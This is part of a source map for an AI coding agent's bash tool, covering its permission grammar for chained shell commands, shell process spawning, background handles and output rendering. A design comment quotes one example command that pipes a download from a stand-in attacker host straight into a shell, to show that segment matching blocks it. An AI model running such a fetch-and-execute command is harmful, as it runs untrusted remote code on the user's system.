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","sourcesContent":["import { constants } from \"node:fs\";\nimport { access as fsAccess } from \"node:fs/promises\";\nimport { Container, Text, truncateToWidth } from \"@earendil-works/pi-tui\";\nimport { type AgentTool, type AgentToolResult, ToolExecutionError } from \"apex-code-agent-core\";\nimport { spawn } from \"child_process\";\nimport { type Static, Type } from \"typebox\";\nimport { keyHint } from \"../../modes/interactive/components/keybinding-hints.ts\";\nimport { truncateToVisualLines } from \"../../modes/interactive/components/visual-truncate.ts\";\nimport { theme } from \"../../modes/interactive/theme/theme.ts\";\nimport { waitForChildProcess } from \"../../utils/child-process.ts\";\nimport {\n\tgetShellConfig,\n\tgetShellEnv,\n\tkillProcessTree,\n\ttype ShellConfig,\n\ttrackDetachedChildPid,\n\tuntrackDetachedChildPid,\n} from \"../../utils/shell.ts\";\nimport { setApexEnvironment } from \"../environment.ts\";\nimport { getExperimentalToolSampling } from \"../experimental.ts\";\nimport type { ExtensionContext, ToolRenderResultOptions } from \"../extensions/types.ts\";\nimport { type BackgroundShellRegistry, createBackgroundShellRegistry } from \"./background-shell.ts\";\nimport { classifyBashCommand } from \"./bash-command-segments.ts\";\nimport { type ApexToolDefinition, type PermissionSpec, toolUnion } from \"./contract.ts\";\nimport { OutputAccumulator } from \"./output-accumulator.ts\";\nimport { getTextOutput, invalidArgText, str } from \"./render-utils.ts\";\nimport { wrapToolDefinition } from \"./tool-definition-wrapper.ts\";\nimport { DEFAULT_MAX_BYTES, DEFAULT_MAX_LINES, formatSize, type TruncationResult } from \"./truncate.ts\";\n\nconst MAX_TIMEOUT_MS = 2_147_483_647;\nconst MAX_TIMEOUT_SECONDS = MAX_TIMEOUT_MS / 1000;\n\nfunction resolveTimeoutMs(timeout: number | undefined): number | undefined {\n\tif (timeout === undefined) return undefined;\n\tif (!Number.isFinite(timeout) || timeout <= 0) {\n\t\tthrow new Error(\"Invalid timeout: must be a finite number of seconds\");\n\t}\n\n\tconst timeoutMs = timeout * 1000;\n\tif (timeoutMs > MAX_TIMEOUT_MS) {\n\t\tthrow new Error(`Invalid timeout: maximum is ${MAX_TIMEOUT_SECONDS} seconds`);\n\t}\n\treturn timeoutMs;\n}\n\nconst bashSchemaProperties = {\n\tcommand: Type.String({ description: \"Shell command to execute\" }),\n\ttimeout: Type.Optional(Type.Number({ description: \"Timeout in seconds (optional, no default timeout)\" })),\n\tbackground: Type.Optional(\n\t\tType.Boolean({\n\t\t\tdescription:\n\t\t\t\t\"Run in the background and return a handle immediately. Retrieve with { handle }; kill with { handle, kill: true }.\",\n\t\t}),\n\t),\n\thandle: Type.String({\n\t\tdescription:\n\t\t\t\"Handle from a background launch. Supply it alone to retrieve output and status; add kill: true to terminate.\",\n\t}),\n\tkill: Type.Literal(true, { description: \"Set to true with a background handle to terminate its command.\" }),\n};\n\nconst bashSchema = toolUnion(\n\t[\n\t\tType.Object({\n\t\t\tcommand: Type.String(),\n\t\t\ttimeout: Type.Optional(Type.Number()),\n\t\t\tbackground: Type.Optional(Type.Boolean()),\n\t\t}),\n\t\tType.Object({ handle: Type.String() }),\n\t\tType.Object({ handle: Type.String(), kill: Type.Literal(true) }),\n\t],\n\tbashSchemaProperties,\n);\n\nexport const bashToolSystemPromptContribution = {\n\tsnippet: \"Execute bash commands (ls, grep, find, etc.)\",\n\tguidelines: [\"You can inspect PI_* environment variables for current model and session details.\"],\n} as const;\n\nexport type BashToolInput = Static<typeof bashSchema>;\n\nfunction normalizeSegment(text: string): string {\n\treturn text.trim().replace(/\\s+/g, \" \");\n}\n\n/**\n * A rule matches a segment either by exact text, or — when it ends with the `:*`\n * suffix convention (e.g. `git commit:*`) — by prefix: the segment must equal the\n * prefix or start with the prefix followed by a space. `git commit:*` therefore\n * matches `git commit` and `git commit -m x`, but not `git commitment` (word\n * boundary enforced) and not an unrelated segment in the same chained command.\n */\nfunction hasGrammarSensitiveStructure(value: string): boolean {\n\treturn /[\"'\\\\\\t\\n#]/.test(value);\n}\n\nfunction segmentMatchesRule(segment: string, ruleContent: string): boolean {\n\tconst sensitive = hasGrammarSensitiveStructure(segment) || hasGrammarSensitiveStructure(ruleContent);\n\tconst normalizedSegment = sensitive ? segment : normalizeSegment(segment);\n\tconst normalizedRule = sensitive ? ruleContent : normalizeSegment(ruleContent);\n\tif (normalizedRule.endsWith(\":*\")) {\n\t\tconst prefix = normalizedRule.slice(0, -2).trim();\n\t\tif (!prefix) return false;\n\t\treturn normalizedSegment === prefix || normalizedSegment.startsWith(`${prefix} `);\n\t}\n\treturn normalizedSegment === normalizedRule;\n}\n\n/**\n * bash's permission grammar (ADR 0004). A rule authorizes a call only if the\n * command decomposes cleanly into segments (never on \"unparseable\") and **every**\n * segment matches — a narrow rule like `git commit:*` can never authorize\n * `git commit -m x && curl evil.com | sh`, because `curl evil.com` and `sh` are\n * separate segments that do not match it.\n *\n * `ruleForCall` only generalizes a single-segment command: a multi-segment chain\n * has no single non-trivial rule that captures exactly what it did, and returning\n * one would either over-authorize (if loose) or be indistinguishable from an exact\n * match (if not) — `null` correctly forces `ask` for \"always allow this\" on a chain.\n */\n/**\n * Reserved rule content for retrieve/kill calls on background handles. These\n * perform no new execution -- the command they operate on was already gated at\n * launch -- so `defaultBehaviorFor` allows them when no rule matches, while a\n * `Bash(background-handle)` rule (allow *or* deny) still governs them\n * explicitly.\n */\nconst BACKGROUND_HANDLE_RULE = \"background-handle\";\n\nexport function createBashPermissionSpec(): PermissionSpec<typeof bashSchema> {\n\treturn {\n\t\tdefaultBehavior: \"ask\",\n\t\tdefaultBehaviorFor(params) {\n\t\t\treturn \"command\" in params ? undefined : \"allow\";\n\t\t},\n\t\tmatches(ruleContent, params) {\n\t\t\tif (!(\"command\" in params)) return ruleContent === BACKGROUND_HANDLE_RULE;\n\t\t\tconst classification = classifyBashCommand(params.command);\n\t\t\treturn (\n\t\t\t\tclassification.type === \"segments\" &&\n\t\t\t\tclassification.segments.every((segment) => segmentMatchesRule(segment, ruleContent))\n\t\t\t);\n\t\t},\n\t\tmatchesDeny(ruleContent, params) {\n\t\t\tif (!(\"command\" in params)) return ruleContent === BACKGROUND_HANDLE_RULE;\n\t\t\tconst classification = classifyBashCommand(params.command);\n\t\t\treturn (\n\t\t\t\tclassification.type === \"segments\" &&\n\t\t\t\tclassification.segments.some((segment) => segmentMatchesRule(segment, ruleContent))\n\t\t\t);\n\t\t},\n\t\tisUnknown(params) {\n\t\t\treturn \"command\" in params && classifyBashCommand(params.command).type !== \"segments\";\n\t\t},\n\t\tdescribe(ruleContent) {\n\t\t\tif (ruleContent === BACKGROUND_HANDLE_RULE) {\n\t\t\t\treturn \"Retrieve or kill background shell commands\";\n\t\t\t}\n\t\t\treturn `Run bash commands matching \"${ruleContent}\"`;\n\t\t},\n\t\tpreviewCall(params) {\n\t\t\t// The command string is the entire effect being authorized. There is\n\t\t\t// nothing to read and nothing to summarise: showing it exactly, including\n\t\t\t// whitespace the rule grammar treats as significant, is the preview.\n\t\t\tif (!(\"command\" in params)) {\n\t\t\t\treturn { kind: \"summary\", lines: [\"Retrieve or kill a background shell command\"] };\n\t\t\t}\n\t\t\treturn { kind: \"summary\", lines: [String(params.command)] };\n\t\t},\n\t\truleForCall(params) {\n\t\t\tif (!(\"command\" in params)) {\n\t\t\t\treturn BACKGROUND_HANDLE_RULE;\n\t\t\t}\n\t\t\tconst classification = classifyBashCommand(params.command);\n\t\t\tif (classification.type !== \"segments\" || classification.segments.length !== 1) return null;\n\t\t\tconst segment = classification.segments[0];\n\t\t\treturn hasGrammarSensitiveStructure(segment) ? segment : normalizeSegment(segment);\n\t\t},\n\t};\n}\n\nexport interface BashExecutionFacts {\n\tcwd: string;\n\texecutable?: string;\n\targv?: string[];\n\texitCode: number | null;\n}\n\nexport interface BashToolDetails {\n\ttruncation?: TruncationResult;\n\tfullOutputPath?: string;\n\t/** Facts observed at the source execution boundary; never rendered as output. */\n\texecution?: BashExecutionFacts;\n}\n\n/**\n * Pluggable operations for the bash tool.\n * Override these to delegate command execution to remote systems (for example SSH).\n */\nexport interface BashOperations {\n\t/**\n\t * Execute a command and stream output.\n\t * @param command The command to execute\n\t * @param cwd Working directory\n\t * @param options Execution options\n\t * @returns Promise resolving to exit code (null if killed)\n\t */\n\texec: (\n\t\tcommand: string,\n\t\tcwd: string,\n\t\toptions: {\n\t\t\tonData: (data: Buffer) => void;\n\t\t\tsignal?: AbortSignal;\n\t\t\ttimeout?: number;\n\t\t\tenv?: NodeJS.ProcessEnv;\n\t\t},\n\t) => Promise<{ exitCode: number | null; executable?: string; argv?: string[] }>;\n\t/**\n\t * Optional. Spawn a command that outlives the call, returning as soon as the\n\t * process exists. Backends that cannot background leave this undefined, and\n\t * the bash tool then rejects `background: true` with a model-readable error\n\t * rather than degrading (spec 2026-08-31-background-shell.md).\n\t */\n\tspawnBackground?: (\n\t\tcommand: string,\n\t\tcwd: string,\n\t\toptions: {\n\t\t\tonData: (data: Buffer) => void;\n\t\t\tenv?: NodeJS.ProcessEnv;\n\t\t},\n\t) => Promise<BashBackgroundProcess>;\n}\n\nexport interface BashBackgroundProcess {\n\tpid: number | undefined;\n\texited: Promise<number | null>;\n}\n\n/** Shared process execution used by the built-in shell tools. */\nexport function createLocalShellOperations(shellName: string, resolveShellConfig: () => ShellConfig): BashOperations {\n\treturn {\n\t\texec: async (command, cwd, { onData, signal, timeout, env }) => {\n\t\t\tconst timeoutMs = resolveTimeoutMs(timeout);\n\t\t\tif (signal?.aborted) {\n\t\t\t\tthrow new Error(\"aborted\");\n\t\t\t}\n\t\t\tconst shellConfig = resolveShellConfig();\n\t\t\ttry {\n\t\t\t\tawait fsAccess(cwd, constants.F_OK);\n\t\t\t} catch {\n\t\t\t\tthrow new Error(`Working directory does not exist: ${cwd}\\nCannot execute ${shellName} commands.`);\n\t\t\t}\n\n\t\t\tconst commandFromStdin = shellConfig.commandTransport === \"stdin\";\n\t\t\tconst child = spawn(shellConfig.shell, commandFromStdin ? shellConfig.args : [...shellConfig.args, command], {\n\t\t\t\tcwd,\n\t\t\t\tdetached: process.platform !== \"win32\",\n\t\t\t\tenv: env ?? getShellEnv(),\n\t\t\t\tstdio: [commandFromStdin ? \"pipe\" : \"ignore\", \"pipe\", \"pipe\"],\n\t\t\t\twindowsHide: true,\n\t\t\t});\n\t\t\tif (commandFromStdin) {\n\t\t\t\tchild.stdin?.on(\"error\", () => {});\n\t\t\t\tchild.stdin?.end(command);\n\t\t\t}\n\t\t\tif (child.pid) trackDetachedChildPid(child.pid);\n\t\t\tlet timedOut = false;\n\t\t\tlet timeoutHandle: NodeJS.Timeout | undefined;\n\t\t\tconst onAbort = () => {\n\t\t\t\tif (child.pid) killProcessTree(child.pid);\n\t\t\t};\n\n\t\t\ttry {\n\t\t\t\t// Set timeout if provided.\n\t\t\t\tif (timeoutMs !== undefined) {\n\t\t\t\t\ttimeoutHandle = setTimeout(() => {\n\t\t\t\t\t\ttimedOut = true;\n\t\t\t\t\t\tif (child.pid) killProcessTree(child.pid);\n\t\t\t\t\t}, timeoutMs);\n\t\t\t\t}\n\t\t\t\t// Stream stdout and stderr.\n\t\t\t\tchild.stdout?.on(\"data\", onData);\n\t\t\t\tchild.stderr?.on(\"data\", onData);\n\t\t\t\t// Handle abort signal by killing the entire process tree.\n\t\t\t\tif (signal) {\n\t\t\t\t\tif (signal.aborted) onAbort();\n\t\t\t\t\telse signal.addEventListener(\"abort\", onAbort, { once: true });\n\t\t\t\t}\n\t\t\t\t// Handle shell spawn errors and wait for the process to terminate without hanging\n\t\t\t\t// on inherited stdio handles held by detached descendants.\n\t\t\t\tconst exitCode = await waitForChildProcess(child);\n\t\t\t\tif (signal?.aborted) {\n\t\t\t\t\tthrow new Error(\"aborted\");\n\t\t\t\t}\n\t\t\t\tif (timedOut) {\n\t\t\t\t\tthrow new Error(`timeout:${timeout}`);\n\t\t\t\t}\n\t\t\t\treturn {\n\t\t\t\t\texitCode,\n\t\t\t\t\texecutable: shellConfig.shell,\n\t\t\t\t\targv: commandFromStdin ? [...shellConfig.args] : [...shellConfig.args, command],\n\t\t\t\t};\n\t\t\t} finally {\n\t\t\t\tif (child.pid) untrackDetachedChildPid(child.pid);\n\t\t\t\tif (timeoutHandle) clearTimeout(timeoutHandle);\n\t\t\t\tif (signal) signal.removeEventListener(\"abort\", onAbort);\n\t\t\t}\n\t\t},\n\t\tspawnBackground: async (command, cwd, { onData, env }) => {\n\t\t\tconst shellConfig = resolveShellConfig();\n\t\t\ttry {\n\t\t\t\tawait fsAccess(cwd, constants.F_OK);\n\t\t\t} catch {\n\t\t\t\tthrow new Error(`Working directory does not exist: ${cwd}\\nCannot execute ${shellName} commands.`);\n\t\t\t}\n\t\t\tconst commandFromStdin = shellConfig.commandTransport === \"stdin\";\n\t\t\tconst child = spawn(shellConfig.shell, commandFromStdin ? shellConfig.args : [...shellConfig.args, command], {\n\t\t\t\tcwd,\n\t\t\t\tdetached: process.platform !== \"win32\",\n\t\t\t\tenv: env ?? getShellEnv(),\n\t\t\t\tstdio: [commandFromStdin ? \"pipe\" : \"ignore\", \"pipe\", \"pipe\"],\n\t\t\t\twindowsHide: true,\n\t\t\t});\n\t\t\tif (commandFromStdin) {\n\t\t\t\tchild.stdin?.on(\"error\", () => {});\n\t\t\t\tchild.stdin?.end(command);\n\t\t\t}\n\t\t\tif (child.pid) trackDetachedChildPid(child.pid);\n\t\t\tchild.stdout?.on(\"data\", onData);\n\t\t\tchild.stderr?.on(\"data\", onData);\n\t\t\tconst exited = waitForChildProcess(child).finally(() => {\n\t\t\t\tif (child.pid) untrackDetachedChildPid(child.pid);\n\t\t\t});\n\t\t\treturn { pid: child.pid, exited };\n\t\t},\n\t};\n}\n\n/**\n * Create bash operations using pi's built-in local shell execution backend.\n *\n * This is useful for extensions that intercept user_bash and still want pi's\n * standard local shell behavior while wrapping or rewriting commands.\n */\nexport function createLocalBashOperations(options?: { shellPath?: string }): BashOperations {\n\treturn createLocalShellOperations(\"bash\", () => getShellConfig(options?.shellPath));\n}\n\nexport interface BashSpawnContext {\n\tcommand: string;\n\tcwd: string;\n\tenv: NodeJS.ProcessEnv;\n}\n\nexport type BashSpawnHook = (context: BashSpawnContext) => BashSpawnContext;\n\nfunction resolveSpawnContext(\n\tcommand: string,\n\tcwd: string,\n\tspawnHook: BashSpawnHook | undefined,\n\texposeSessionEnvironment: boolean,\n\tctx: ExtensionContext | undefined,\n): BashSpawnContext {\n\tconst env = { ...getShellEnv() };\n\tsetApexEnvironment(\"APEX_CODE_SESSION_ID\", undefined, env);\n\tsetApexEnvironment(\"APEX_CODE_SESSION_FILE\", undefined, env);\n\tsetApexEnvironment(\"APEX_CODE_PROVIDER\", undefined, env);\n\tsetApexEnvironment(\"APEX_CODE_MODEL\", undefined, env);\n\tsetApexEnvironment(\"APEX_CODE_REASONING_LEVEL\", undefined, env);\n\tif (exposeSessionEnvironment && ctx) {\n\t\tconst model = ctx.model;\n\t\tsetApexEnvironment(\"APEX_CODE_SESSION_ID\", ctx.sessionManager.getSessionId(), env);\n\t\tconst sessionFile = ctx.sessionManager.getSessionFile();\n\t\tif (sessionFile) setApexEnvironment(\"APEX_CODE_SESSION_FILE\", sessionFile, env);\n\t\tif (model) {\n\t\t\tsetApexEnvironment(\"APEX_CODE_PROVIDER\", model.provider, env);\n\t\t\tsetApexEnvironment(\"APEX_CODE_MODEL\", model.id, env);\n\t\t}\n\t\tif (ctx.thinkingLevel) setApexEnvironment(\"APEX_CODE_REASONING_LEVEL\", ctx.thinkingLevel, env);\n\t}\n\tconst baseContext: BashSpawnContext = { command, cwd, env };\n\treturn spawnHook ? spawnHook(baseContext) : baseContext;\n}\n\nexport interface BashToolOptions {\n\t/** Custom operations for command execution. Default: local shell */\n\toperations?: BashOperations;\n\t/** Command prefix prepended to every command (for example shell setup commands) */\n\tcommandPrefix?: string;\n\t/** Optional explicit shell path from settings */\n\tshellPath?: string;\n\t/** Expose current Pi session metadata as PI_* environment variables. Default: true */\n\texposeSessionEnvironment?: boolean;\n\t/** Hook to adjust command, cwd, or env before execution */\n\tspawnHook?: BashSpawnHook;\n\t/**\n\t * Background-shell registry (spec 2026-08-31-background-shell.md). Absent\n\t * gets a per-definition registry; the session passes its own so background\n\t * children are killed when the session disposes.\n\t */\n\tbackgroundRegistry?: BackgroundShellRegistry;\n}\n\nconst BASH_PREVIEW_LINES = 5;\nconst BASH_UPDATE_THROTTLE_MS = 100;\n\nexport type BashRenderState = {\n\tstartedAt: number | undefined;\n\tendedAt: number | undefined;\n\tinterval: NodeJS.Timeout | undefined;\n};\n\ntype BashResultRenderState = {\n\tcachedWidth: number | undefined;\n\tcachedLines: string[] | undefined;\n\tcachedSkipped: number | undefined;\n};\n\nclass BashResultRenderComponent extends Container {\n\tstate: BashResultRenderState = {\n\t\tcachedWidth: undefined,\n\t\tcachedLines: undefined,\n\t\tcachedSkipped: undefined,\n\t};\n}\n\nfunction formatDuration(ms: number): string {\n\treturn `${(ms / 1000).toFixed(1)}s`;\n}\n\nfunction formatShellCall(\n\targs: { command?: string; timeout?: number; handle?: string; kill?: boolean } | undefined,\n\tprompt: string,\n): string {\n\tconst command = str(args?.command);\n\tconst handle = str(args?.handle);\n\tif (!command && handle) {\n\t\tconst suffix = args?.kill === true ? \" · kill\" : \"\";\n\t\treturn theme.fg(\"toolTitle\", theme.bold(`${prompt} ${handle}${suffix}`));\n\t}\n\tconst timeout = args?.timeout as number | undefined;\n\tconst timeoutSuffix = timeout ? theme.fg(\"muted\", ` (timeout ${timeout}s)`) : \"\";\n\tconst commandDisplay = command === null ? invalidArgText(theme) : command ? command : theme.fg(\"toolOutput\", \"...\");\n\treturn theme.fg(\"toolTitle\", theme.bold(`${prompt} ${commandDisplay}`)) + timeoutSuffix;\n}\n\nfunction rebuildBashResultRenderComponent(\n\tcomponent: BashResultRenderComponent,\n\tresult: {\n\t\tcontent: Array<{ type: string; text?: string; data?: string; mimeType?: string }>;\n\t\tdetails?: BashToolDetails;\n\t},\n\toptions: ToolRenderResultOptions,\n\tshowImages: boolean,\n\tstartedAt: number | undefined,\n\tendedAt: number | undefined,\n): void {\n\tconst state = component.state;\n\tcomponent.clear();\n\n\tlet output = getTextOutput(result as any, showImages).trim();\n\tconst truncation = result.details?.truncation;\n\tconst fullOutputPath = result.details?.fullOutputPath;\n\tif (!options.isPartial && truncation?.truncated && fullOutputPath && output.endsWith(\"]\")) {\n\t\tconst footerStart = output.lastIndexOf(\"\\n\\n[\");\n\t\tif (footerStart !== -1 && output.slice(footerStart).includes(fullOutputPath)) {\n\t\t\toutput = output.slice(0, footerStart).trimEnd();\n\t\t}\n\t}\n\n\tif (output) {\n\t\tconst styledOutput = output\n\t\t\t.split(\"\\n\")\n\t\t\t.map((line) => theme.fg(\"toolOutput\", line))\n\t\t\t.join(\"\\n\");\n\n\t\tif (options.expanded) {\n\t\t\tcomponent.addChild(new Text(`\\n${styledOutput}`, 0, 0));\n\t\t} else {\n\t\t\tcomponent.addChild({\n\t\t\t\trender: (width: number) => {\n\t\t\t\t\tif (state.cachedLines === undefined || state.cachedWidth !== width) {\n\t\t\t\t\t\tconst preview = truncateToVisualLines(styledOutput, BASH_PREVIEW_LINES, width);\n\t\t\t\t\t\tstate.cachedLines = preview.visualLines;\n\t\t\t\t\t\tstate.cachedSkipped = preview.skippedCount;\n\t\t\t\t\t\tstate.cachedWidth = width;\n\t\t\t\t\t}\n\t\t\t\t\tif (state.cachedSkipped && state.cachedSkipped > 0) {\n\t\t\t\t\t\tconst hint =\n\t\t\t\t\t\t\ttheme.fg(\"muted\", `... (${state.cachedSkipped} earlier lines,`) +\n\t\t\t\t\t\t\t` ${keyHint(\"app.tools.expand\", \"to expand\")}${theme.fg(\"muted\", \")\")}`;\n\t\t\t\t\t\treturn [\"\", truncateToWidth(hint, width, \"...\"), ...(state.cachedLines ?? [])];\n\t\t\t\t\t}\n\t\t\t\t\treturn [\"\", ...(state.cachedLines ?? [])];\n\t\t\t\t},\n\t\t\t\tinvalidate: () => {\n\t\t\t\t\tstate.cachedWidth = undefined;\n\t\t\t\t\tstate.cachedLines = undefined;\n\t\t\t\t\tstate.cachedSkipped = undefined;\n\t\t\t\t},\n\t\t\t});\n\t\t}\n\t}\n\n\tif (truncation?.truncated || fullOutputPath) {\n\t\tconst warnings: string[] = [];\n\t\tif (fullOutputPath) {\n\t\t\twarnings.push(`Full output: ${fullOutputPath}`);\n\t\t}\n\t\tif (truncation?.truncated) {\n\t\t\tif (truncation.truncatedBy === \"lines\") {\n\t\t\t\twarnings.push(`Truncated: showing ${truncation.outputLines} of ${truncation.totalLines} lines`);\n\t\t\t} else {\n\t\t\t\twarnings.push(\n\t\t\t\t\t`Truncated: ${truncation.outputLines} lines shown (${formatSize(truncation.maxBytes ?? DEFAULT_MAX_BYTES)} limit)`,\n\t\t\t\t);\n\t\t\t}\n\t\t}\n\t\tcomponent.addChild(new Text(`\\n${theme.fg(\"warning\", `[${warnings.join(\". \")}]`)}`, 0, 0));\n\t}\n\n\tif (startedAt !== undefined) {\n\t\tconst label = options.isPartial ? \"Elapsed\" : \"Took\";\n\t\tconst endTime = endedAt ?? Date.now();\n\t\tcomponent.addChild(new Text(`\\n${theme.fg(\"muted\", `${label} ${formatDuration(endTime - startedAt)}`)}`, 0, 0));\n\t}\n}\n\nexport interface ShellToolConfig {\n\tname: string;\n\tlabel: string;\n\tshellName: string;\n\tprompt: string;\n\tpromptSnippet: string;\n\tpromptGuidelines?: readonly string[];\n\ttempFilePrefix: string;\n}\n\nexport function createShellToolDefinition(\n\tcwd: string,\n\tconfig: ShellToolConfig,\n\toptions?: BashToolOptions,\n): ApexToolDefinition<typeof bashSchema, BashToolDetails | undefined, BashRenderState> {\n\tconst ops = options?.operations ?? createLocalBashOperations({ shellPath: options?.shellPath });\n\tconst commandPrefix = options?.commandPrefix;\n\tconst exposeSessionEnvironment = options?.exposeSessionEnvironment ?? true;\n\tconst spawnHook = options?.spawnHook;\n\tconst registry = options?.backgroundRegistry ?? createBackgroundShellRegistry();\n\n\t// Background handle calls (retrieve and kill) never touch the foreground\n\t// execution path, so the post-hoc escalation offer below is unreachable from\n\t// them by construction; the refusal note in `executeHandleCall` tells the\n\t// model a foreground rerun gets the offer (spec, Non-goals).\n\tconst unknownHandleError = (handle: string) => {\n\t\tconst known = registry.handles();\n\t\treturn new ToolExecutionError(\n\t\t\t`Unknown background handle: ${handle}.${known.length > 0 ? ` Known handles: ${known.join(\", \")}` : \" No background commands have been launched.\"}`,\n\t\t\tundefined,\n\t\t);\n\t};\n\tconst executeHandleCall = async (\n\t\thandleInput: { handle: string 